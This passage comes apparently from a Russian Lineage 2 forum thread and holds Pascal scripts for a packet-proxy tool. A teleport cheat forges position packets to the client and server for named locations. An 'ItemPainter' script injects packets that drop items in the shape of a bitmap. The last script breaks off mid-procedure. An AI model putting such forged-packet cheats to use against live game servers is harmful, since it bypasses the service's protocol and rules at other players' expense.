If fromclient and (pck=hstr('38 2E 00 6D 00 61 00 72 00 74 00 69 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0B 49 01 00 82 31 02 00 B2 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 75 00 6E 00 64 00 75 00 6B 00 32 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F3 C5 00 00 DC 6B 02 00 72 01 00 00');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 61 00 72 00 6E 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6B 28 00 00 5D 38 00 00 6D EF FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 72 00 6B 00 20 00 67 00 75 00 61 00 72 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('77 0B 00 00 4C AC 00 00 5C F5 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 75 00 6E 00 64 00 75 00 6B 00 33 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('7F FE FF FF 9F AC 00 00 26 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 65 00 61 00 6C 00 69 00 6E 00 67 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('8E 3A 02 00 6C 6D 00 00 30 F7 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 72 00 65 00 61 00 70 00 6B 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('8E 3A 02 00 6C 6D 00 00 30 F7 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 61 00 69 00 65 00 6E 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('62 4D 01 00 D6 40 00 00 0D F9 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 61 00 72 00 73 00 68 00 00 00 00 00 00 00 ')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6A 9C 02 00 B0 A6 00 00 E1 EC FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 68 00 61 00 6B 00 69 00 72 00 69 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F5 D4 01 00 5F 24 01 00 B9 F6 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 61 00 6D 00 72 00 75 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('78 C4 02 00 F1 E2 00 00 73 F0 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 76 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('FF 3F 02 00 4B 58 00 00 37 F8 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 6C 00 6F 00 6F 00 64 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('17 D7 02 00 67 4B 00 00 DF F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 65 00 6E 00 64 00 72 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E6 46 02 00 0F 64 00 00 B4 F7 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 61 00 72 00 69 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('B7 60 02 00 71 2F 01 00 82 F4 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 65 00 6C 00 74 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DF 46 01 00 3C D9 00 00 17 FA FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6A 00 65 00 77 00 65 00 6C 00 32 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('72 F8 00 00 65 79 00 00 5D F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 6F 00 6B 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('07 C0 FE FF 9F 57 02 00 99 F3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6A 00 65 00 77 00 65 00 6C 00 31 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('A3 C2 FE FF 4C 27 01 00 D6 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 68 00 65 00 6F 00 64 00 72 00 69 00 63 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6E 00 02 00 CF BF 01 00 72 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
end;
end.

GraNIT
15.08.2009, 15:19
Program ItemPainter C4, C6:z:

Program ItemPainter;
//------------------------------------------------------------------
//Скрипт для рисования предметами пока только для с4 и интерлюдии
//В Name ввдите ник
//Нарисуйте картинку в любом графическом редакторе.
//В поле "Путь к фалу" введите путь к этому файлу и нажмите Load
//Черный,красный,зеленый,голубой,желтый цвета пикселей можно привязать к отдельному предмету
//Выберите цвет в боксе color, затем предмет в боксе Item (предметов должно быть>1 чтобы они появились в списке)
//scale - масштаб отступа между предметами от 1:1 до 10:1
//Самый оптимальный масштаб 5:1
//Направление - согласно компасу в игре
const
Name='Perforator';
interlude=true;
max=80;
MaxDistance=240; //Максимальное расстояние на которое можно выбросить предмет
var
bmp:TBitMap; //Картинка
ItemBase: array[1..3,1..max] of integer; //Массив предметов заполняется процедурой CreateItemBase
SelectedItems: array[1..3,1..5] of integer; //Массив Object ID предметов [i,j] i=1 - OID,2-ID,3 - Count; j - # цвета
currentx,currenty,StartX,StartY,StartZ,MyX,MyY,MyZ ,NextX,NextY,ItemOID:integer;
//Теущие координаты x и y;координаты начала отчета x,y,z; Мои координаты x y обнавляются при Validate Position
ready:boolean;
timer : TTimer;
FormMain:TForm;
Stats : TMemo;
Panel1 : TPanel;
GroupBox1,GroupBox2 : TGroupBox;
ComboBoxColor,ComboBoxScale,ComboboxItem,ComboBoxD irection:TComboBox;
Label1,Label2,Label3,Label4:TLabel;
Path:TEdit;
LoadedImage:TImage;
LoadButton,StartButton,StopButton:TButton;
ItemsName,StringList:TStringList;
//......................................
//......................................
//......................................
//ComboBoxItem
procedure ComboBoxItem_Click(Sender: TComboBox);
var i,count,index:integer;
begin
count:=0;
if SelectedItems[2,ComboBoxColor.ItemIndex+1]=ItemBase[2,ComboBoxItem.ItemIndex+1] then exit;
for i:=1 to 5 do if SelectedItems[2,i]=ItemBase[2,ComboBoxItem.ItemIndex+1] then inc(count);
if Count>0 then begin
stats.lines.add('Ошибка! Нельзя добавлять одинаковые предметы в разные цвета.');
exit;
end;
SelectedItems[1,ComboBoxColor.ItemIndex+1]:=ItemBase[1,ComboBoxItem.ItemIndex+1];
SelectedItems[2,ComboBoxColor.ItemIndex+1]:=ItemBase[2,ComboBoxItem.ItemIndex+1];
SelectedItems[3,ComboBoxColor.ItemIndex+1]:=ItemBase[3,ComboBoxItem.ItemIndex+1];
index:=ComboBoxItem.ItemIndex;
for i:=0 to StringList.Count-1 do if Pos(' - '+ComboBoxColor.Items.Strings[ComboBoxColor.ItemIndex],ComboBoxItem.Items.Strings[i])>0 then
ComboBoxItem.Items.Strings[i]:=StringList.Strings[i];
ComboBoxItem.Items.Strings[index]:=ComboBoxItem.Items.Strings[ComboBoxItem.ItemIndex]+' - '+ComboBoxColor.Items.Strings[ComboBoxColor.ItemIndex];
ComboBoxItem.ItemIndex:=index;
end;
//----------------------------------------
procedure StartButton_Click(Sender: TButton);
//Event : OnClick
begin
if bmp=NIL then stats.lines.add('Картинка не загружена!') else
begin
stats.lines.add('Старт!');
StartButton.enabled:=false;
currentx:=-1;
currenty:=0;
buf:=#$AA;
WriteD(0);
SendToServerEx(Name);
end;
end;
//......................................
//ButtonStopEnchant
procedure StopButton_Click(Sender: TButton);
//Event : OnClick
begin
StartButton.enabled:=true;
stats.lines.add('Стоп!');
timer.enabled:=false;
ready:=false;
end;
procedure bmpload;
begin
bmpfree;
bmp:=TBitMap.Create;
try
bmp.LoadFromFile(path.text);
except
bmp.Free;
stats.lines.add('Ошибка загрузки файла!');
exit;
end;
stats.lines.add('Картинка успешно загружена!');
LoadedImage.Picture.assign(bmp);
end;
procedure LoadButton_Click(Sender: TButton);
var openDialog : TOpenDialog;
begin
openDialog := TOpenDialog.Create(NIL);
openDialog.Filter := 'Bitmap files|*.bmp';
openDialog.FilterIndex := 1;
openDialog.DefaultExt:='bmp';
openDialog.Options:=ofNoChangeDir+ofFileMustExist+ ofPathMustExist;
if openDialog.Execute then path.text:=openDialog.FileName else begin
openDialog.Free;
exit;
end;
openDialog.Free;
bmpload;
end;
procedure Path_key(Sender: TEdit; Key: Char);
begin
if ord(key)=13 then begin
bmpload;
end;
end;
procedure Free_FormMain;
//Освобождаем ресурсы ...
begin
TRY
if FormMain<>NIL then begin
FormMain.Free;
FormMain:=NIL;
end;
FINALLY
END;
end;
function Create_FormMain : TForm;
//Создаем форму и соотв. компоненты на ней ...
Var
Yes : boolean;
begin
Yes := FALSE;
Result := TForm.Create(nil);

TRY
//------------------------
//Свойства формы
Result.Caption := 'Item Painter v 0.2 by ArchDevil';
Result.Left := 397;
Result.Top := 233;
Result.Width := 350;
Result.Height := 230;
Result.FormStyle := fsNormal;
Result.Position := poDesigned;
Result.BorderStyle := bsSizeable;
Result.BorderWidth := 0;
Result.WindowState := wsNormal;
Result.Color := clBtnFace;
Result.Font.Name := 'Tahoma';
Result.Font.Size := 8;
Result.Font.Color := clWindowText;
Result.Font.CharSet:= 1;
//......................................
//......................................
//Stats
Stats := TMemo.Create(Result);
Stats.Parent := Result;
Stats.Left := 0;
Stats.Top := 160;
Stats.Width := 350;
Stats.Height := 70;
Stats.Visible := TRUE;
Stats.Tag := 0;
Stats.Enabled := TRUE;
Stats.Hint := '';
Stats.ShowHint := FALSE;
Stats.Font.Name := 'Tahoma';
Stats.Font.Size := 8;
Stats.Font.Color := clWindowText;
Stats.Color := clWindow;
Stats.TabOrder := 0;
Stats.TabStop := TRUE;
Stats.Align := alBottom;
Stats.WordWrap := TRUE;
Stats.Alignment := taLeftJustify;
Stats.WantTabs := FALSE;
Stats.WantReturns := TRUE;
Stats.HideSelection := TRUE;
Stats.MaxLength := 0;
Stats.OEMConvert := FALSE;
Stats.ReadOnly := FALSE;
Stats.ScrollBars := ssNone;
//......................................
//......................................
//Panel1
Panel1 := TPanel.Create(Result);
Panel1.Parent := Result;
Panel1.Left := 0;
Panel1.Top := 0;
Panel1.Width := 350;
Panel1.Height := 160;
Panel1.Visible := TRUE;
Panel1.Tag := 0;
Panel1.Enabled := TRUE;
Panel1.Hint := '';
Panel1.ShowHint := FALSE;
Panel1.Caption := '';
Panel1.Align := alClient;
Panel1.Color := clBtnFace;
Panel1.Font.Name := 'Tahoma';
Panel1.Font.Size := 8;
Panel1.Font.Color := clWindowText;
Panel1.Font.CharSet := 1;
Panel1.BevelWidth := 1;
Panel1.BorderWidth := 0;
Panel1.BevelInner := bvNone;
Panel1.BevelOuter := bvRaised;
Panel1.TabOrder := 2;
Panel1.TabStop := FALSE;
Panel1.AutoSize := FALSE;
//......................................
//......................................
//GroupBox1
GroupBox1 := TGroupBox.Create(Result);
GroupBox1.Parent := Panel1;
GroupBox1.Left := 1;
GroupBox1.Top := 1;
GroupBox1.Width := 160;
GroupBox1.Height := 160;
GroupBox1.Visible := TRUE;
GroupBox1.Tag := 0;
GroupBox1.Enabled := TRUE;
GroupBox1.Hint := '';
GroupBox1.ShowHint := FALSE;
GroupBox1.Caption := 'Рисунок';
GroupBox1.Align := alLeft;
GroupBox1.Color := clBtnFace;
GroupBox1.Font.Name := 'Tahoma';
GroupBox1.Font.Size := 8;
GroupBox1.Font.Color := clWindowText;
GroupBox1.Font.CharSet := 1;
GroupBox1.TabOrder := 0;
GroupBox1.TabStop := FALSE;
//......................................
//......................................
//GroupBox2
GroupBox2 := TGroupBox.Create(Result);
GroupBox2.Parent := Panel1;
GroupBox2.Left := 1;
GroupBox2.Top := 1;
GroupBox2.Width := 180;
GroupBox2.Height := 160;
GroupBox2.Visible := TRUE;
GroupBox2.Tag := 0;
GroupBox2.Enabled := TRUE;
GroupBox2.Hint := '';
GroupBox2.ShowHint := FALSE;
GroupBox2.Caption := 'Настройки';
GroupBox2.Align := alLeft;
GroupBox2.Color := clBtnFace;
GroupBox2.Font.Name := 'Tahoma';
GroupBox2.Font.Size := 8;
GroupBox2.Font.Color := clWindowText;
GroupBox2.Font.CharSet := 1;
GroupBox2.TabOrder := 0;
GroupBox2.TabStop := FALSE;
//......................................
//......................................
//ComboBoxColor
ComboBoxColor := TComboBox.Create(Result);
ComboBoxColor.Parent := GroupBox2;
ComboBoxColor.Left := 38;
ComboBoxColor.Top := 19;
ComboBoxColor.Width := 70;
ComboBoxColor.Height := 21;
ComboBoxColor.Visible := TRUE;
ComboBoxColor.Tag := 0;
ComboBoxColor.Enabled := TRUE;
ComboBoxColor.Hint := 'Выбери из списка цвет соответствующий предмету ниже';
ComboBoxColor.ShowHint := TRUE;
ComboBoxColor.Text := 'ComboBoxColor';
ComboBoxColor.Font.Name := 'Tahoma';
ComboBoxColor.Font.Size := 8;
ComboBoxColor.Font.Color := clWindowText;
ComboBoxColor.Color := clWindow;
ComboBoxColor.TabOrder := 1;
ComboBoxColor.TabStop := TRUE;
ComboBoxColor.Sorted := FALSE;
ComboBoxColor.ItemHeight := 13;
ComboBoxColor.Items.ADD('Черный');
ComboBoxColor.Items.ADD('Красный');
ComboBoxColor.Items.ADD('Зеленый');
ComboBoxColor.Items.ADD('Синий');
ComboBoxColor.Items.ADD('Желтый');
ComboBoxColor.ItemIndex := 0;
//......................................
//......................................
//ComboBoxScale
ComboBoxScale := TComboBox.Create(Result);
ComboBoxScale.Parent := GroupBox2;
ComboBoxScale.Left := 128;
ComboBoxScale.Top := 19;
ComboBoxScale.Width := 45;
ComboBoxScale.Height := 21;
ComboBoxScale.Visible := TRUE;
ComboBoxScale.Tag := 0;
ComboBoxScale.Enabled := TRUE;
ComboBoxScale.Hint := 'Выбери из списка масштаб';
ComboBoxScale.ShowHint := TRUE;
ComboBoxScale.Text := 'ComboBoxScale';
ComboBoxScale.Font.Name := 'Tahoma';
ComboBoxScale.Font.Size := 8;
ComboBoxScale.Font.Color := clWindowText;
ComboBoxScale.Color := clWindow;
ComboBoxScale.TabOrder := 1;
ComboBoxScale.TabStop := TRUE;
ComboBoxScale.Sorted := FALSE;
ComboBoxScale.ItemHeight := 13;
ComboBoxScale.Items.ADD('1:1');
ComboBoxScale.Items.ADD('2:1');
ComboBoxScale.Items.ADD('3:1');
ComboBoxScale.Items.ADD('4:1');
ComboBoxScale.Items.ADD('5:1');
ComboBoxScale.Items.ADD('6:1');
ComboBoxScale.Items.ADD('7:1');
ComboBoxScale.Items.ADD('8:1');
ComboBoxScale.Items.ADD('9:1');
ComboBoxScale.Items.ADD('10:1');
ComboBoxScale.ItemIndex := 4;
//......................................
//......................................
//ComboBoxDirection
ComboBoxDirection := TComboBox.Create(Result);
ComboBoxDirection.Parent := GroupBox2;
ComboBoxDirection.Left := 38;
ComboBoxDirection.Top := 67;
ComboBoxDirection.Width := 135;
ComboBoxDirection.Height := 21;
ComboBoxDirection.Visible := TRUE;
ComboBoxDirection.Tag := 0;
ComboBoxDirection.Enabled := TRUE;
ComboBoxDirection.Text := 'ComboBoxDirection';
ComboBoxDirection.Font.Name := 'Tahoma';
ComboBoxDirection.Font.Size := 8;
ComboBoxDirection.Font.Color := clWindowText;
ComboBoxDirection.Color := clWindow;
ComboBoxDirection.TabOrder := 1;
ComboBoxDirection.TabStop := TRUE;
ComboBoxDirection.Sorted := FALSE;
ComboBoxDirection.ItemHeight := 13;
ComboBoxDirection.Items.ADD('Север');
ComboBoxDirection.Items.ADD('Северо-Восток');
ComboBoxDirection.Items.ADD('Восток');
ComboBoxDirection.Items.ADD('Юго-Восток');
ComboBoxDirection.Items.ADD('Юг');
ComboBoxDirection.Items.ADD('Юго-Запад');
ComboBoxDirection.Items.ADD('Запад');
ComboBoxDirection.Items.ADD('Северо-Запад');
ComboBoxDirection.ItemIndex := 0;
//......................................
//......................................
//ComboBoxItem
ComboBoxItem := TComboBox.Create(Result);
ComboBoxItem.Parent := GroupBox2;
ComboBoxItem.Left := 38;
ComboBoxItem.Top := 43;
ComboBoxItem.Width := 135;
ComboBoxItem.Height := 21;
ComboBoxItem.Visible := TRUE;
ComboBoxItem.Tag := 0;
ComboBoxItem.Enabled := TRUE;
ComboBoxItem.Hint := 'Выбери из списка затачиваемый предмет';
ComboBoxItem.ShowHint := TRUE;
ComboBoxItem.Text := 'ComboBoxItem';
ComboBoxItem.Font.Name := 'Tahoma';
ComboBoxItem.Font.Size := 8;
ComboBoxItem.Font.Color := clWindowText;
ComboBoxItem.Color := clWindow;
ComboBoxItem.TabOrder := 1;
ComboBoxItem.TabStop := TRUE;
ComboBoxItem.ItemIndex := -1;
ComboBoxItem.Sorted := FALSE;
ComboBoxItem.ItemHeight := 13;
ComboBoxItem.OnClick := @ComboBoxItem_Click;
//......................................
//......................................
//Label1
Label1 := TLabel.Create(Result);
Label1.Parent := GroupBox2;
Label1.Left := 6;
Label1.Top := 23;
Label1.Width := 58;
Label1.Height := 13;
Label1.Visible := TRUE;
Label1.Tag := 0;
Label1.Enabled := TRUE;
Label1.Hint := '';
Label1.ShowHint := FALSE;
Label1.Caption := 'Цвет:';
Label1.Transparent := TRUE;
Label1.WordWrap := FALSE;
Label1.Alignment := taLeftJustify;
Label1.Layout := tlTop;
Label1.AutoSize := TRUE;
Label1.Align := alNone;
Label1.Font.Name := 'Tahoma';
Label1.Font.Size := 8;
Label1.Font.Color := clWindowText;
Label1.Color := clBtnFace;
//......................................
//......................................
//Label2
Label2 := TLabel.Create(Result);
Label2.Parent := GroupBox2;
Label2.Left := 6;
Label2.Top := 47;
Label2.Width := 58;
Label2.Height := 13;
Label2.Visible := TRUE;
Label2.Tag := 0;
Label2.Enabled := TRUE;
Label2.Hint := '';
Label2.ShowHint := FALSE;
Label2.Caption := 'Итем:';
Label2.Transparent := TRUE;
Label2.WordWrap := FALSE;
Label2.Alignment := taLeftJustify;
Label2.Layout := tlTop;
Label2.AutoSize := TRUE;
Label2.Align := alNone;
Label2.Font.Name := 'Tahoma';
Label2.Font.Size := 8;
Label2.Font.Color := clWindowText;
Label2.Color := clBtnFace;
//......................................
//......................................
//Label3
Label3 := TLabel.Create(Result);
Label3.Parent := GroupBox2;
Label3.Left := 114;
Label3.Top := 23;
Label3.Width := 58;
Label3.Height := 13;
Label3.Visible := TRUE;
Label3.Tag := 0;
Label3.Enabled := TRUE;
Label3.Hint := '';
Label3.ShowHint := FALSE;
Label3.Caption := 'М:';
Label3.Transparent := TRUE;
Label3.WordWrap := FALSE;
Label3.Alignment := taLeftJustify;
Label3.Layout := tlTop;
Label3.AutoSize := TRUE;
Label3.Align := alNone;
Label3.Font.Name := 'Tahoma';
Label3.Font.Size := 8;
Label3.Font.Color := clWindowText;
Label3.Color := clBtnFace;
//......................................
//......................................
//Label4
Label4 := TLabel.Create(Result);
Label4.Parent := GroupBox2;
Label4.Left := 6;
Label4.Top := 71;
Label4.Width := 58;
Label4.Height := 13;
Label4.Visible := TRUE;
Label4.Tag := 0;
Label4.Enabled := TRUE;
Label4.Hint := '';
Label4.ShowHint := FALSE;
Label4.Caption := 'Напр.:';
Label4.Transparent := TRUE;
Label4.WordWrap := FALSE;
Label4.Alignment := taLeftJustify;
Label4.Layout := tlTop;
Label4.AutoSize := TRUE;
Label4.Align := alNone;
Label4.Font.Name := 'Tahoma';
Label4.Font.Size := 8;
Label4.Font.Color := clWindowText;
Label4.Color := clBtnFace;
//......................................
//......................................
//Path
Path := TEdit.Create(Result);
Path.Parent := GroupBox1;
Path.Left := 5;
Path.Top := 103;
Path.Width := 117;
Path.Height := 20;
Path.Visible := TRUE;
Path.Tag := 0;
Path.Enabled := TRUE;
Path.Hint := 'Введи путь к файлу BMP';
Path.ShowHint := TRUE;
Path.Text := '';
Path.Font.Name := 'Tahoma';
Path.Font.Size := 7;
Path.Font.Color := clWindowText;
Path.Color := clWindow;
Path.TabOrder := 5;
Path.TabStop := TRUE;
Path.ReadOnly := FALSE;
Path.MaxLength := 0;
Path.AutoSize := TRUE;
Path.OnKeyPress := @Path_Key;
//......................................
//......................................
//LoadImage
LoadedImage:= TImage.Create(Result);
LoadedImage.Parent:=GroupBox1;
LoadedImage.Left :=5;
LoadedImage.Top := 16;
LoadedImage.Width := 150;
LoadedImage.Height := 90;
LoadedImage.Visible := TRUE;
LoadedImage.Tag := 0;
LoadedImage.Enabled := TRUE;
LoadedImage.Hint := '';
LoadedImage.ShowHint := FALSE;
LoadedImage.Center := TRUE;
LoadedImage.Proportional := TRUE;
//......................................
//......................................
//LoadButton
LoadButton := TButton.Create(Result);
LoadButton.Parent := GroupBox1;
LoadButton.Left := 124;
LoadButton.Top := 102;
LoadButton.Width := 32;
LoadButton.Height := 21;
LoadButton.Visible := TRUE;
LoadButton.Tag := 0;
LoadButton.Enabled := TRUE;
LoadButton.Hint := '';
LoadButton.ShowHint := FALSE;
LoadButton.Caption := '...';
LoadButton.Font.Name := 'Tahoma';
LoadButton.Font.Size := 8;
LoadButton.Font.Color := clWindowText;
LoadButton.Font.CharSet := 1;
LoadButton.TabOrder := 2;
LoadButton.TabStop := TRUE;
LoadButton.Cancel := FALSE;
LoadButton.ModalResult := 0;
LoadButton.OnClick := @LoadButton_Click;
//......................................
//......................................
//StartButton
StartButton := TButton.Create(Result);
StartButton.Parent := GroupBox2;
StartButton.Left := 6;
StartButton.Top := 102;
StartButton.Width := 80;
StartButton.Height := 21;
StartButton.Visible := TRUE;
StartButton.Tag := 0;
StartButton.Enabled := TRUE;
StartButton.Hint := '';
StartButton.ShowHint := FALSE;
StartButton.Caption := 'Старт';
StartButton.Font.Name := 'Tahoma';
StartButton.Font.Size := 8;
StartButton.Font.Color := clWindowText;
StartButton.Font.CharSet := 1;
StartButton.TabOrder := 2;
StartButton.TabStop := TRUE;
StartButton.Cancel := FALSE;
StartButton.ModalResult := 0;
StartButton.OnClick := @StartButton_Click;
//......................................
//......................................
//StopButton
StopButton := TButton.Create(Result);
StopButton.Parent := GroupBox2;
StopButton.Left := 96;
StopButton.Top := 102;
StopButton.Width := 80;
StopButton.Height := 21;
StopButton.Visible := TRUE;
StopButton.Tag := 0;
StopButton.Enabled := TRUE;
StopButton.Hint := '';
StopButton.ShowHint := FALSE;
StopButton.Caption := 'Стоп';
StopButton.Font.Name := 'Tahoma';
StopButton.Font.Size := 8;
StopButton.Font.Color := clWindowText;
StopButton.Font.CharSet := 1;
StopButton.TabOrder := 3;
StopButton.TabStop := TRUE;
StopButton.Cancel := FALSE;
StopButton.ModalResult := 0;
StopButton.OnClick := @StopButton_Click;
//......................................
Yes := TRUE;
FINALLY
if not Yes then begin
//Освобождаем ресурсы, если неудачно ...
if Result<>NIL then begin
Result.Free;
Result:=NIL;
end;
end;
END;
Result.Show;
end;
procedure Init; //Вызывается при включении скрипта
begin
FormMain:=Create_FormMain;
stats.Lines.Add('Скрипт: Рисование предметами by ArchDevil!');
timer:=TTimer.Create(nil);
timer.OnTimer:=@OnTimer;
timer.enabled:=false;
timer.interval:=700; //время задержки
ready:=false;
StringList:=TStringList.Create;
ItemsName:=TStringList.Create;
try
ItemsName.LoadFromFile('itemsid.ini');
except
stats.Lines.Add('itemsid.ini не найден!');
exit;
end;
buf:=hstr('0F');
SendToServerEx(Name);
end;
procedure bmpfree;
begin
try
if bmp<>NIL then
begin
bmp.Free;
bmp:=NIL;
end;
finally
end;
end;
procedure Free;
var i:integer;
begin
Free_FormMain; bmpfree;
StringList.Clear; ItemsName.Clear;
timer.Free;
if LoadedImage<>NIL then LoadedImage:=NIL;
currentx:=0; currenty:=0; StartX:=0; StartY:=0;
StartZ:=0; MyX:=0; MyY:=0; ItemOID:=0;
ready:=false;
for i:=1 to 5 do begin
SelectedItems[1,i]:=0;
SelectedItems[2,i]:=0;
SelectedItems[3,i]:=0;
end;
end;
//CreateItemBase и InventoryUpdate Взял со скрипта NLObP на заточку
//---------------------------------------------
procedure CreateItemBase;
var
i, j, ListCount : integer;
begin
for i:=1 to max do begin
//очищаем масив
ItemBase[1,i]:=0; //OID
ItemBase[2,i]:=0; //ID
ItemBase[3,i]:=0; //kol-vo
end;
j:=4;
ListCount:=ReadH(j);
j:=8;
for i:=1 to ListCount do begin
ItemBase[1,i]:=ReadD(j);
ItemBase[2,i]:=ReadD(j);
ItemBase[3,i]:=ReadD(j);
if interlude then inc(j,24) else inc(j,16);
end;
StringList.Clear;
try
for i:=1 to ListCount do begin
try
StringList.Add(ItemsName.Values[IntToStr(ItemBase[2,i])]); //записываем название вещей из инвентаря
except;
end
end;
except;
exit;
end;
with ComboBoxItem do
begin
Items.Clear;
Items.Assign(StringList);
ItemIndex:=0;
end;
end;
//......................................
//************************************************** ****************************
procedure InventoryUpdate; //пакет 27, обновляет базу ObjectID по ItemID
var
i, ii, j, OID, ID, Count, ListCount, UpdType: integer;
add : boolean;
begin
add:=false;
ListCount:=ReadH(2);
j:=4;
for ii:=1 to ListCount do begin
add:=false;
UpdType:=ReadH(j);
ReadH(j); //ItemType1
OID:=ReadD(j); //ObjectID
ID:=ReadD(j); //ItemID
Count:=ReadD(j); //кол-во
case UpdType of
1: begin
for i:=1 to max do begin
if (ItemBase[1,i]=0) and (add=false) then begin
ItemBase[1,i]:=OID;
ItemBase[2,i]:=ID;
ItemBase[3,i]:=Count;
add:=true;
end;
end;
end;
2: begin
for i:=1 to max do begin
if ItemBase[1,i]=OID then begin
ItemBase[3,i]:=Count;
end;
end;
end;
3: begin
for i:=1 to max do begin
if ItemBase[1,i]=OID then begin
ItemBase[1,i]:=0;
ItemBase[2,i]:=0;
ItemBase[3,i]:=0;
end;
end;
end;
end;
if interlude then inc(j,22) else inc(j,14);
end;
end;
//------------------------------------
function GetCount(OID:integer) : integer;
var
i : integer;
begin
for i:=1 to max do begin
if ItemBase[1,i]=OID then begin
result:=ItemBase[3,i]; // count
exit;
end;
end;
result:=0;
end;
//--------------------------------------------
function delta(x1, y1, x2, y2:extended):integer; //возвращает растоянием между 2 точками
var
dx,dy,summa: extended;
begin
dx:=x2-x1;
dy:=y2-y1;
summa:=dx*dx+dy*dy;
if summa=0 then result:=0 else result:=Round(sqrt(summa));
end;
//--------------------------------------------
procedure OnTimer(Sender: TObject);
//====================
procedure GetNextCoords;
begin
case ComboBoxDirection.ItemIndex of
0: begin
NextX:=StartX+currentx*(ComboBoxScale.ItemIndex+1) ;
NextY:=StartY+currenty*(ComboBoxScale.ItemIndex+1) ;
end;
1: begin
NextX:=StartX+currentx*(ComboBoxScale.ItemIndex+1)-currenty*(ComboBoxScale.ItemIndex+1);
NextY:=StartY+currenty*(ComboBoxScale.ItemIndex+1) +currentx*(ComboBoxScale.ItemIndex+1);
end;
2: begin
NextX:=StartX-currenty*(ComboBoxScale.ItemIndex+1);
NextY:=StartY+currentx*(ComboBoxScale.ItemIndex+1) ;
end;
3: begin
NextX:=StartX-currentx*(ComboBoxScale.ItemIndex+1)-currenty*(ComboBoxScale.ItemIndex+1);
NextY:=StartY-currenty*(ComboBoxScale.ItemIndex+1)+currentx*(Com boBoxScale.ItemIndex+1);
end;
4: begin
NextX:=StartX-currentx*(ComboBoxScale.ItemIndex+1);
NextY:=StartY-currenty*(ComboBoxScale.ItemIndex+1);
end;
5: begin
NextX:=StartX-currentx*(ComboBoxScale.ItemIndex+1)+currenty*(Com boBoxScale.ItemIndex+1);
NextY:=StartY-currenty*(ComboBoxScale.ItemIndex+1)-currentx*(ComboBoxScale.ItemIndex+1);
end;
6: begin
NextX:=StartX+currenty*(ComboBoxScale.ItemIndex+1) ;
NextY:=StartY-currentx*(ComboBoxScale.ItemIndex+1);
end;
7: begin
